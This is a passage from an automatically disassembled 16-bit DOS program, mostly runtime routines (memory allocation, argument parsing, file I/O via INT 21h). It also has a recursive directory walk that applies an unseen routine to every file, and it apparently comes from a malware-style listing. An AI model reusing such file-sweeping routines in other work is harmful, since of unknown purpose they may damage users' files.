               INT     21H                     ; DOS Services  ah=function 25h
                                               ;  set intrpt vector al to ds:dx
               POP     DS
               RETN
SUB_4           ENDP

               DB      0C7H, 6, 96H, 0, 0, 0
               DB      0CBH, 0C3H

;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

SUB_5           PROC    NEAR
               MOV     AH,40H                  ; '@'
               MOV     BX,2
               INT     21H                     ; DOS Services  ah=function 40h
                                               ;  write file cx=bytes, to ds:dx
               RETN
SUB_5           ENDP

LOC_10:
               MOV     CX,1EH
               NOP
               MOV     DX,56H
LOC_11:
               MOV     DS,CS:DATA_38           ; (7FD4:01F8=0)
               CALL    SUB_5                   ; (01DA)
               MOV     AX,3
               PUSH    AX
               CALL    SUB_2                   ; (0121)
DATA_38         DW      0

;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

SUB_6           PROC    NEAR
               PUSH    BP
               MOV     BP,SP
               MOV     AX,194H
               PUSH    AX
               CALL    SUB_8                   ; (0290)
               POP     CX
               MOV     AX,194H
               PUSH    AX
               CALL    SUB_7                   ; (0212)
               POP     CX
               CALL    SUB_9                   ; (02F5)
               POP     BP
               RETN
SUB_6           ENDP


;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

SUB_7           PROC    NEAR
               PUSH    BP
               MOV     BP,SP
               SUB     SP,0AEH
               PUSH    SI
               PUSH    DI
               MOV     DI,[BP+4]
               PUSH    DI
               CALL    SUB_8                   ; (0290)
               POP     CX
               MOV     AX,19BH
               PUSH    AX
               PUSH    DI
               MOV     AX,195H
               PUSH    AX
               LEA     AX,[BP-82H]             ; Load effective addr
               PUSH    AX
               CALL    SUB_51                  ; (1571)
               ADD     SP,8
               MOV     AX,10H
               PUSH    AX
               LEA     AX,[BP-0AEH]            ; Load effective addr
               PUSH    AX
               LEA     AX,[BP-82H]             ; Load effective addr
               PUSH    AX
               CALL    SUB_49                  ; (150B)
               ADD     SP,6
               MOV     SI,AX
               JMP     SHORT LOC_14            ; (0286)
LOC_12:
               CMP     BYTE PTR SS:DATA_124E[BP],2EH   ; (8134:FF70=0) '.'
               JE      LOC_13                  ; Jump if equal
               TEST    BYTE PTR SS:DATA_123E[BP],10H   ; (8134:FF67=0)
               JZ      LOC_13                  ; Jump if zero
               LEA     AX,[BP-90H]             ; Load effective addr
               PUSH    AX
               PUSH    DI
               MOV     AX,195H
               PUSH    AX
               LEA     AX,[BP-82H]             ; Load effective addr
               PUSH    AX
               CALL    SUB_51                  ; (1571)
               ADD     SP,8
               LEA     AX,[BP-82H]             ; Load effective addr
               PUSH    AX
               CALL    SUB_7                   ; (0212)
               POP     CX
LOC_13:
               LEA     AX,[BP-0AEH]            ; Load effective addr
               PUSH    AX
               CALL    SUB_50                  ; (152D)
               POP     CX
               MOV     SI,AX
LOC_14:
               OR      SI,SI                   ; Zero ?
               JZ      LOC_12                  ; Jump if zero
               POP     DI
               POP     SI
               MOV     SP,BP
               POP     BP
               RETN
SUB_7           ENDP


;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

SUB_8           PROC    NEAR
               PUSH    BP
               MOV     BP,SP
               SUB     SP,7EH
               PUSH    SI
               PUSH    WORD PTR [BP+4]
               LEA     AX,[BP-52H]             ; Load effective addr
               PUSH    AX
               CALL    SUB_33                  ; (0B88)
               POP     CX
               POP     CX
               MOV     AX,19FH
               PUSH    AX
               LEA     AX,[BP-52H]             ; Load effective addr
               PUSH    AX
               CALL    SUB_32                  ; (0B4C)
               POP     CX
               POP     CX
               XOR     AX,AX                   ; Zero register
               PUSH    AX
               LEA     AX,[BP-7EH]             ; Load effective addr
               PUSH    AX
               LEA     AX,[BP-52H]             ; Load effective addr
               PUSH    AX
               CALL    SUB_49                  ; (150B)
               ADD     SP,6
               MOV     SI,AX
               JMP     SHORT LOC_16            ; (02EC)
LOC_15:
               LEA     AX,[BP-60H]             ; Load effective addr
               PUSH    AX
               PUSH    WORD PTR [BP+4]
               MOV     AX,195H
               PUSH    AX
               LEA     AX,[BP-52H]             ; Load effective addr
               PUSH    AX
               CALL    SUB_51                  ; (1571)
               ADD     SP,8
               LEA     AX,[BP-52H]             ; Load effective addr
               PUSH    AX
               CALL    SUB_31                  ; (0B34)
               POP     CX
               LEA     AX,[BP-7EH]             ; Load effective addr
               PUSH    AX
               CALL    SUB_50                  ; (152D)
               POP     CX
               MOV     SI,AX
LOC_16:
               OR      SI,SI                   ; Zero ?
               JZ      LOC_15                  ; Jump if zero
               POP     SI
               MOV     SP,BP
               POP     BP
               RETN
SUB_8           ENDP


;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

SUB_9           PROC    NEAR
               PUSH    BP
               MOV     BP,SP
               SUB     SP,4
               MOV     AX,1A4H
               PUSH    AX
               PUSH    WORD PTR [BP-2]
               CALL    SUB_48                  ; (14F3)
               POP     CX
               POP     CX
               PUSH    WORD PTR [BP-4]
               XOR     AX,AX                   ; Zero register
               PUSH    AX
               MOV     AX,0CH
               PUSH    AX
               MOV     AX,2
               PUSH    AX
               CALL    SUB_52                  ; (15D4)
               ADD     SP,8
               MOV     SP,BP
               POP     BP
               RETN
SUB_9           ENDP


;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

SUB_10          PROC    NEAR
               PUSH    BP
               MOV     BP,SP
               PUSH    SI
               MOV     SI,[BP+4]
               OR      SI,SI                   ; Zero ?
               JL      LOC_19                  ; Jump if <
               CMP     SI,58H
               JBE     LOC_18                  ; Jump if below or =
LOC_17:
               MOV     SI,57H
LOC_18:
               MOV     DS:DATA_29E,SI          ; (7FC4:01D6=0CD57H)
               MOV     AL,DS:DATA_30E[SI]      ; (7FC4:01D8=21H)
               CBW                             ; Convrt byte to word
               XCHG    AX,SI
               JMP     SHORT LOC_20            ; (034B)
LOC_19:
               NEG     SI
               CMP     SI,23H
               JA      LOC_17                  ; Jump if above
               MOV     WORD PTR DS:DATA_29E,0FFFFH     ; (7FC4:01D6=0CD57H)
LOC_20:
               MOV     AX,SI
               MOV     DS:DATA_27E,AX          ; (7FC4:0094=0)
               MOV     AX,0FFFFH
               JMP     SHORT LOC_21            ; (0355)
LOC_21:
               POP     SI
               POP     BP
               RETN    2
SUB_10          ENDP

               DB      0C3H

;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

SUB_11          PROC    NEAR
               PUSH    BP
               MOV     BP,SP
               JMP     SHORT LOC_23            ; (036A)
LOC_22:
               MOV     BX,WORD PTR DS:[23CH]   ; (7FC4:023C=0E246H)
               SHL     BX,1                    ; Shift w/zeros fill
               CALL    WORD PTR DS:[464H][BX]  ;*(7FC4:0464=0E3D1H)
LOC_23:
               MOV     AX,WORD PTR DS:[23CH]   ; (7FC4:023C=0E246H)
               DEC     WORD PTR DS:[23CH]      ; (7FC4:023C=0E246H)
               OR      AX,AX                   ; Zero ?
               JNZ     LOC_22                  ; Jump if not zero
               CALL    WORD PTR DS:DATA_31E    ; (7FC4:0232=2FB9H)
               CALL    WORD PTR DS:[234H]      ; (7FC4:0234=9000H)
               CALL    WORD PTR DS:[236H]      ; (7FC4:0236=2FCH)
               PUSH    WORD PTR [BP+4]
               CALL    SUB_2                   ; (0121)
               POP     CX
               POP     BP
               RETN
SUB_11          ENDP

DATA_39         DW      0
DATA_40         DW      0
               DB      0, 0

;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

SUB_12          PROC    NEAR
               POP     CS:DATA_39              ; (7FD4:038A=0)
               MOV     CS:DATA_40,DS           ; (7FD4:038C=0)
               CLD                             ; Clear direction
               MOV     ES,DATA_76              ; (8134:0090=0)
               MOV     SI,80H
               XOR     AH,AH                   ; Zero register
               LODS    BYTE PTR ES:[SI]        ; String [si] to al
               INC     AX
               MOV     BP,ES
               XCHG    DX,SI
               XCHG    AX,BX
               MOV     SI,WORD PTR DATA_73     ; (8134:008A=0)
               ADD     SI,2
               MOV     CX,1
               CMP     BYTE PTR DATA_77,3      ; (8134:0092=0)
               JB      LOC_24                  ; Jump if below
               MOV     ES,WORD PTR DATA_73+2   ; (8134:008C=0)
               MOV     DI,SI
               MOV     CL,7FH
               XOR     AL,AL                   ; Zero register
               REPNE   SCASB                   ; Rept zf=0+cx>0 Scan es:[di] for al
               JCXZ    LOC_32                  ; Jump if cx=0
               XOR     CL,7FH
LOC_24:
               SUB     SP,2
               MOV     AX,1
               ADD     AX,BX
               ADD     AX,CX
               AND     AX,0FFFEH
               MOV     DI,SP
               SUB     DI,AX
               JC      LOC_32                  ; Jump if carry Set
               MOV     SP,DI
               MOV     AX,ES
               MOV     DS,AX
               MOV     AX,SS
               MOV     ES,AX
               PUSH    CX
               DEC     CX
               REP     MOVSB                   ; Rep while cx>0 Mov [si] to es:[di]
               XOR     AL,AL                   ; Zero register
               STOSB                           ; Store al to es:[di]
               MOV     DS,BP
               XCHG    SI,DX
               XCHG    BX,CX
               MOV     AX,BX
               MOV     DX,AX
               INC     BX
LOC_25:
               CALL    SUB_13                  ; (0419)
               JA      LOC_27                  ; Jump if above
LOC_26:
               JC      LOC_33                  ; Jump if carry Set
               CALL    SUB_13                  ; (0419)
               JA      LOC_26                  ; Jump if above
LOC_27:
               CMP     AL,20H                  ; ' '
               JE      LOC_28                  ; Jump if equal
               CMP     AL,0DH
               JE      LOC_28                  ; Jump if equal
               CMP     AL,9
               JNE     LOC_25                  ; Jump if not equal
LOC_28:
               XOR     AL,AL                   ; Zero register
               JMP     SHORT LOC_25            ; (03FD)

;пппп External Entry into Subroutine пппппппппппппппппппппппппппппппппппппп

SUB_13:
               OR      AX,AX                   ; Zero ?
               JZ      LOC_29                  ; Jump if zero
               INC     DX
               STOSB                           ; Store al to es:[di]
               OR      AL,AL                   ; Zero ?
               JNZ     LOC_29                  ; Jump if not zero
               INC     BX
LOC_29:
               XCHG    AH,AL
               XOR     AL,AL                   ; Zero register
               STC                             ; Set carry flag
               JCXZ    LOC_RET_31              ; Jump if cx=0
               LODSB                           ; String [si] to al
               DEC     CX
               SUB     AL,22H                  ; '"'
               JZ      LOC_RET_31              ; Jump if zero
               ADD     AL,22H                  ; '"'
               CMP     AL,5CH                  ; '\'
               JNE     LOC_30                  ; Jump if not equal
               CMP     BYTE PTR [SI],22H       ; '"'
               JNE     LOC_30                  ; Jump if not equal
               LODSB                           ; String [si] to al
               DEC     CX
LOC_30:
               OR      SI,SI                   ; Zero ?

LOC_RET_31:
               RETN
LOC_32:
               JMP     LOC_10                  ; (01E2)
LOC_33:
               POP     CX
               ADD     CX,DX
               MOV     DS,CS:DATA_40           ; (7FD4:038C=0)
               MOV     DS:DATA_5E,BX           ; (0000:0084=9CEH)
               INC     BX
               ADD     BX,BX
               MOV     SI,SP
               MOV     BP,SP
               SUB     BP,BX
               JC      LOC_32                  ; Jump if carry Set
               MOV     SP,BP
               MOV     DS:DATA_6E,BP           ; (0000:0086=13C7H)
LOC_34:
               JCXZ    LOC_36                  ; Jump if cx=0
               MOV     [BP],SI
               ADD     BP,2

LOCLOOP_35:
               LODS    BYTE PTR SS:[SI]        ; String [si] to al
               OR      AL,AL                   ; Zero ?
               LOOPNZ  LOCLOOP_35              ; Loop if zf=0, cx>0

               JZ      LOC_34                  ; Jump if zero
LOC_36:
               XOR     AX,AX                   ; Zero register
               MOV     [BP],AX
               JMP     CS:DATA_39              ; (7FD4:038A=0)
SUB_12          ENDP


;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

SUB_14          PROC    NEAR
               MOV     CX,DS:DATA_8E           ; (0000:008A=23EAH)
               PUSH    CX
               CALL    SUB_19                  ; (05CA)
               POP     CX
               MOV     DI,AX
               OR      AX,AX                   ; Zero ?
               JZ      LOC_37                  ; Jump if zero
               PUSH    DS
               PUSH    DS
               POP     ES
               MOV     DS,DS:DATA_9E           ; (0000:008C=0A70H)
               XOR     SI,SI                   ; Zero register
               CLD                             ; Clear direction
               REP     MOVSB                   ; Rep while cx>0 Mov [si] to es:[di]
               POP     DS
               MOV     DI,AX
               PUSH    ES
               PUSH    WORD PTR DS:DATA_10E    ; (0000:008E=23EAH)
               CALL    SUB_19                  ; (05CA)
               ADD     SP,2
               MOV     BX,AX
               POP     ES
               MOV     DS:DATA_7E,AX           ; (0000:0088=723H)
               OR      AX,AX                   ; Zero ?
               JNZ     LOC_38                  ; Jump if not zero
LOC_37:
               JMP     LOC_10                  ; (01E2)
LOC_38:
               XOR     AX,AX                   ; Zero register
               MOV     CX,0FFFFH
LOC_39:
               MOV     [BX],DI
               ADD     BX,2
               REPNE   SCASB                   ; Rept zf=0+cx>0 Scan es:[di] for al
               CMP     ES:[DI],AL
               JNE     LOC_39                  ; Jump if not equal
               MOV     [BX],AX
               RETN
SUB_14          ENDP

               DB      55H, 8BH, 0ECH, 83H, 3EH, 3CH
               DB      2, 20H, 75H, 5, 0B8H, 1
               DB      0, 0EBH, 15H, 8BH, 46H, 4
               DB      8BH, 1EH, 3CH, 2, 0D1H, 0E3H
               DB      89H, 87H, 64H, 4, 0FFH, 6
               DB      3CH, 2, 33H, 0C0H, 0EBH, 0
LOC_40:
               POP     BP
               RETN

;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

SUB_15          PROC    NEAR
               PUSH    BP
               MOV     BP,SP
               PUSH    SI
               PUSH    DI
               MOV     DI,[BP+4]
               MOV     AX,[DI+6]
               MOV     DS:DATA_23E,AX          ; (0000:04A6=0)
               CMP     AX,DI
               JNE     LOC_41                  ; Jump if not equal
               MOV     WORD PTR DS:DATA_23E,0  ; (0000:04A6=0)
               JMP     SHORT LOC_42            ; (0515)
LOC_41:
               MOV     SI,[DI+4]
               MOV     BX,DS:DATA_23E          ; (0000:04A6=0)
               MOV     [BX+4],SI
               MOV     AX,DS:DATA_23E          ; (0000:04A6=0)
               MOV     [SI+6],AX
LOC_42:
               POP     DI
               POP     SI
               POP     BP
               RETN
SUB_15          ENDP


;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

SUB_16          PROC    NEAR
               PUSH    BP
               MOV     BP,SP
               PUSH    SI
               PUSH    DI
               MOV     DI,[BP+4]
               MOV     AX,[BP+6]
               SUB     [DI],AX
               MOV     SI,[DI]
               ADD     SI,DI
               MOV     AX,[BP+6]
               INC     AX
               MOV     [SI],AX
               MOV     [SI+2],DI
               MOV     AX,DS:DATA_22E          ; (0000:04A4=0)
               CMP     AX,DI
               JNE     LOC_43                  ; Jump if not equal
               MOV     DS:DATA_22E,SI          ; (0000:04A4=0)
               JMP     SHORT LOC_44            ; (0548)
LOC_43:
               MOV     DI,SI
               ADD     DI,[BP+6]
               MOV     [DI+2],SI
LOC_44:
               MOV     AX,SI
               ADD     AX,4
               JMP     SHORT LOC_45            ; (054F)
LOC_45:
               POP     DI
               POP     SI
               POP     BP
               RETN
SUB_16          ENDP


;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

SUB_17          PROC    NEAR
               PUSH    BP
               MOV     BP,SP
               PUSH    SI
               MOV     AX,[BP+4]
               XOR     DX,DX                   ; Zero register
               AND     AX,0FFFFH
               AND     DX,0
               nop                             ;*Fixup for MASM (M)
               PUSH    DX
               PUSH    AX
               CALL    SUB_21                  ; (065C)
               POP     CX
               POP     CX
               MOV     SI,AX
               CMP     SI,0FFFFH
               JNE     LOC_46                  ; Jump if not equal
               XOR     AX,AX                   ; Zero register
               JMP     SHORT LOC_47            ; (058D)
LOC_46:
               MOV     AX,DS:DATA_22E          ; (0000:04A4=0)
               MOV     [SI+2],AX
               MOV     AX,[BP+4]
               INC     AX
               MOV     [SI],AX
               MOV     DS:DATA_22E,SI          ; (0000:04A4=0)
               MOV     AX,DS:DATA_22E          ; (0000:04A4=0)
               ADD     AX,4
               JMP     SHORT LOC_47            ; (058D)
LOC_47:
               POP     SI
               POP     BP
               RETN
SUB_17          ENDP


;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

SUB_18          PROC    NEAR
               PUSH    BP
               MOV     BP,SP
               PUSH    SI
               MOV     AX,[BP+4]
               XOR     DX,DX                   ; Zero register
               AND     AX,0FFFFH
               AND     DX,0
               nop                             ;*Fixup for MASM (M)
               PUSH    DX
               PUSH    AX
               CALL    SUB_21                  ; (065C)
               POP     CX
               POP     CX
               MOV     SI,AX
               CMP     SI,0FFFFH
               JNE     LOC_48                  ; Jump if not equal
               XOR     AX,AX                   ; Zero register
               JMP     SHORT LOC_49            ; (05C7)
LOC_48:
               MOV     DS:DATA_24E,SI          ; (0000:04A8=0)
               MOV     DS:DATA_22E,SI          ; (0000:04A4=0)
               MOV     AX,[BP+4]
               INC     AX
               MOV     [SI],AX
               MOV     AX,SI
               ADD     AX,4
               JMP     SHORT LOC_49            ; (05C7)
LOC_49:
               POP     SI
               POP     BP
               RETN
SUB_18          ENDP


;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

SUB_19          PROC    NEAR
               PUSH    BP
               MOV     BP,SP
               PUSH    SI
               PUSH    DI
               MOV     DI,[BP+4]
               OR      DI,DI                   ; Zero ?
               JNZ     LOC_50                  ; Jump if not zero
               XOR     AX,AX                   ; Zero register
               JMP     SHORT LOC_56            ; (0634)
LOC_50:
               MOV     AX,DI
               ADD     AX,0BH
               AND     AX,0FFF8H
               MOV     DI,AX
               CMP     WORD PTR DS:DATA_24E,0  ; (0000:04A8=0)
               JNE     LOC_51                  ; Jump if not equal
               PUSH    DI
               CALL    SUB_18                  ; (0590)
               POP     CX
               JMP     SHORT LOC_56            ; (0634)
LOC_51:
               MOV     SI,DS:DATA_23E          ; (0000:04A6=0)
               MOV     AX,SI
               OR      AX,AX                   ; Zero ?
               JZ      LOC_55                  ; Jump if zero
LOC_52:
               MOV     AX,[SI]
               MOV     DX,DI
               ADD     DX,28H
               CMP     AX,DX
               JB      LOC_53                  ; Jump if below
               PUSH    DI
               PUSH    SI
               CALL    SUB_16                  ; (0519)
               POP     CX
               POP     CX
               JMP     SHORT LOC_56            ; (0634)
LOC_53:
               MOV     AX,[SI]
               CMP     AX,DI
               JB      LOC_54                  ; Jump if below
               PUSH    SI
               CALL    SUB_15                  ; (04EB)
               POP     CX
               INC     WORD PTR [SI]
               MOV     AX,SI
               ADD     AX,4
               JMP     SHORT LOC_56            ; (0634)
LOC_54:
               MOV     SI,[SI+6]
               CMP     SI,DS:DATA_23E          ; (0000:04A6=0)
               JNE     LOC_52                  ; Jump if not equal
LOC_55:
               PUSH    DI
               CALL    SUB_17                  ; (0553)
               POP     CX
               JMP     SHORT LOC_56            ; (0634)
LOC_56:
               POP     DI
               POP     SI
               POP     BP
               RETN
SUB_19          ENDP


;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

SUB_20          PROC    NEAR
               PUSH    BP
               MOV     BP,SP
               MOV     AX,[BP+4]
               MOV     DX,SP
               SUB     DX,100H
               CMP     AX,DX
               JAE     LOC_57                  ; Jump if above or =
               MOV     DS:DATA_28E,AX          ; (7FC4:009E=0)
               XOR     AX,AX                   ; Zero register
               JMP     SHORT LOC_58            ; (065A)
LOC_57:
               MOV     WORD PTR DS:DATA_27E,8  ; (7FC4:0094=0)
               MOV     AX,0FFFFH
               JMP     SHORT LOC_58            ; (065A)
LOC_58:
               POP     BP
               RETN
SUB_20          ENDP


;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

SUB_21          PROC    NEAR
               PUSH    BP
               MOV     BP,SP
               MOV     AX,[BP+4]
               MOV     DX,[BP+6]
               ADD     AX,DS:DATA_14E          ; (0000:009E=27DH)
               ADC     DX,0
               MOV     CX,AX
               ADD     CX,100H
               ADC     DX,0
               OR      DX,DX                   ; Zero ?
               JNZ     LOC_59                  ; Jump if not zero
               CMP     CX,SP
               JAE     LOC_59                  ; Jump if above or =
               XCHG    AX,DS:DATA_14E          ; (0000:009E=27DH)
               JMP     SHORT LOC_60            ; (068E)
LOC_59:
               MOV     WORD PTR DS:DATA_11E,8  ; (0000:0094=192FH)
               MOV     AX,0FFFFH
               JMP     SHORT LOC_60            ; (068E)
LOC_60:
               POP     BP
               RETN
SUB_21          ENDP


;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

SUB_22          PROC    NEAR
               PUSH    BP
               MOV     BP,SP
               PUSH    WORD PTR [BP+4]
               CALL    SUB_20                  ; (0638)
               POP     CX
               JMP     SHORT LOC_61            ; (069C)
LOC_61:
               POP     BP
               RETN
SUB_22          ENDP

               DB      55H, 8BH, 0ECH, 8BH, 46H, 4
               DB      99H, 52H, 50H, 0E8H, 0B2H, 0FFH
               DB      8BH, 0E5H, 0EBH, 0, 5DH, 0C3H

;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

SUB_23          PROC    NEAR
               PUSH    BP
               MOV     BP,SP
               SUB     SP,2
               PUSH    SI
               PUSH    DI
               MOV     BX,[BP+4]
               MOV     SI,[BX]
               MOV     AX,SI
               MOV     [BP-2],AX
               MOV     BX,[BP+4]
               TEST    WORD PTR [BX+2],40H
               JZ      LOC_62                  ; Jump if zero
               MOV     AX,SI
               JMP     SHORT LOC_65            ; (06EF)
LOC_62:
               MOV     BX,[BP+4]
               MOV     DI,[BX+0AH]
               JMP     SHORT LOC_64            ; (06E3)
LOC_63:
               MOV     BX,DI
               INC     DI
               CMP     BYTE PTR [BX],0AH
               JNE     LOC_64                  ; Jump if not equal
               INC     WORD PTR [BP-2]
LOC_64:
               MOV     AX,SI
               DEC     SI
               OR      AX,AX                   ; Zero ?
               JNZ     LOC_63                  ; Jump if not zero
               MOV     AX,[BP-2]
               JMP     SHORT LOC_65            ; (06EF)
LOC_65:
               POP     DI
               POP     SI
               MOV     SP,BP
               POP     BP
               RETN    2
SUB_23          ENDP


;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

SUB_24          PROC    NEAR
               PUSH    BP
               MOV     BP,SP
               PUSH    SI
               MOV     SI,[BP+4]
               PUSH    SI
               CALL    SUB_34                  ; (0BEE)
               POP     CX
               OR      AX,AX                   ; Zero ?
               JZ      LOC_66                  ; Jump if zero
               MOV     AX,0FFFFH
               JMP     SHORT LOC_70            ; (0758)
LOC_66:
               CMP     WORD PTR [BP+0AH],1
               JNE     LOC_67                  ; Jump if not equal
               CMP     WORD PTR [SI],0
               JLE     LOC_67                  ; Jump if < or =
               PUSH    SI
               CALL    SUB_23                  ; (06B0)
               CWD                             ; Word to double word
               SUB     [BP+6],AX
               SBB     [BP+8],DX
LOC_67:
               AND     WORD PTR [SI+2],0FE5FH
               MOV     WORD PTR [SI],0
               MOV     AX,[SI+8]
               MOV     [SI+0AH],AX
               PUSH    WORD PTR [BP+0AH]
               PUSH    WORD PTR [BP+8]
               PUSH    WORD PTR [BP+6]
               MOV     AL,[SI+4]
               CBW                             ; Convrt byte to word
               PUSH    AX
               CALL    SUB_29                  ; (0A1E)
               ADD     SP,8
               CMP     DX,0FFFFH
               JNE     LOC_68                  ; Jump if not equal
               CMP     AX,0FFFFH
               JNE     LOC_68                  ; Jump if not equal
               MOV     AX,0FFFFH
               JMP     SHORT LOC_69            ; (0756)
LOC_68:
               XOR     AX,AX                   ; Zero register
LOC_69:
               JMP     SHORT LOC_70            ; (0758)
LOC_70:
               POP     SI
               POP     BP
               RETN
SUB_24          ENDP

               DB      55H, 8BH, 0ECH, 83H, 0ECH, 4
               DB      56H, 8BH, 76H, 4, 56H, 0E8H
               DB      85H, 4, 59H, 0BH, 0C0H, 74H
               DB      8, 0BAH, 0FFH, 0FFH, 0B8H, 0FFH
               DB      0FFH, 0EBH, 3FH, 0B8H, 1, 0
               DB      50H, 33H, 0C0H, 50H, 50H, 8AH
               DB      44H, 4, 98H, 50H, 0E8H, 98H
               DB      2, 83H, 0C4H, 8, 89H, 56H
               DB      0FEH, 89H, 46H, 0FCH, 83H, 3CH
               DB      0, 7EH, 19H, 8BH, 56H, 0FEH
               DB      8BH, 46H, 0FCH, 52H, 50H, 56H
               DB      0E8H, 10H, 0FFH, 99H, 8BH, 0D8H
               DB      8BH, 0CAH, 58H, 5AH, 2BH, 0C3H
               DB      1BH, 0D1H, 0EBH, 6
LOC_71:
               MOV     DX,[BP-2]
               MOV     AX,[BP-4]
LOC_72:
               JMP     SHORT LOC_73            ; (07B5)
LOC_73:
               POP     SI
               MOV     SP,BP
               POP     BP
               RETN

;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

SUB_25          PROC    NEAR
               PUSH    BP
               MOV     BP,SP
               MOV     AX,4400H
               MOV     BX,[BP+4]
               INT     21H                     ; DOS Services  ah=function 44h
                                               ;  device drivr cntrl al=subfunc
               MOV     AX,0
               JC      LOC_74                  ; Jump if carry Set
               SHL     DX,1                    ; Shift w/zeros fill
               RCL     AX,1                    ; Rotate thru carry
LOC_74:
               JMP     SHORT LOC_75            ; (07D0)
LOC_75:
               POP     BP
               RETN
SUB_25          ENDP


;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

SUB_26          PROC    NEAR
               PUSH    BP
               MOV     BP,SP
               PUSH    SI
               PUSH    DI
               MOV     DI,[BP+0AH]
               MOV     SI,[BP+4]
               MOV     AX,[SI+0EH]
               CMP     AX,SI
               JNE     LOC_76                  ; Jump if not equal
               CMP     WORD PTR [BP+8],2
               JG      LOC_76                  ; Jump if >
               CMP     DI,7FFFH
               JBE     LOC_77                  ; Jump if below or =
LOC_76:
               MOV     AX,0FFFFH
               JMP     LOC_85                  ; (08A0)
LOC_77:
               CMP     WORD PTR DS:DATA_34E,0  ; (7FC4:03A8=0AE46H)
               JNE     LOC_78                  ; Jump if not equal
               MOV     AX,24EH
               CMP     AX,SI
               JNE     LOC_78                  ; Jump if not equal
               MOV     WORD PTR DS:DATA_34E,1  ; (7FC4:03A8=0AE46H)
               JMP     SHORT LOC_79            ; (0820)
LOC_78:
               CMP     WORD PTR DS:DATA_33E,0  ; (7FC4:03A6=8D50H)
               JNE     LOC_79                  ; Jump if not equal
               MOV     AX,23EH
               CMP     AX,SI
               JNE     LOC_79                  ; Jump if not equal
               MOV     WORD PTR DS:DATA_33E,1  ; (7FC4:03A6=8D50H)
LOC_79:
               CMP     WORD PTR [SI],0
               JE      LOC_80                  ; Jump if equal
               MOV     AX,1
               PUSH    AX
               XOR     AX,AX                   ; Zero register
               PUSH    AX
               PUSH    AX
               PUSH    SI
               CALL    SUB_24                  ; (06F7)
               ADD     SP,8
LOC_80:
               TEST    WORD PTR [SI+2],4
               JZ      LOC_81                  ; Jump if zero
               PUSH    WORD PTR [SI+8]
               CALL    SUB_47                  ; (14CC)
               POP     CX
LOC_81:
               AND     WORD PTR [SI+2],0FFF3H
               nop                             ;*Fixup for MASM (M)
               MOV     WORD PTR [SI+6],0
               MOV     AX,SI
               ADD     AX,5
               MOV     [SI+8],AX
               MOV     [SI+0AH],AX
               CMP     WORD PTR [BP+8],2
               JE      LOC_84                  ; Jump if equal
               OR      DI,DI                   ; Zero ?
               JBE     LOC_84                  ; Jump if below or =
               MOV     WORD PTR DS:DATA_31E,8A4H       ; (7FC4:0232=2FB9H)
               CMP     WORD PTR [BP+6],0
               JNE     LOC_83                  ; Jump if not equal
               PUSH    DI
               CALL    SUB_19                  ; (05CA)
               POP     CX
               MOV     [BP+6],AX
               OR      AX,AX                   ; Zero ?
               JZ      LOC_82                  ; Jump if zero
               OR      WORD PTR [SI+2],4
               nop                             ;*Fixup for MASM (M)
               JMP     SHORT LOC_83            ; (0885)
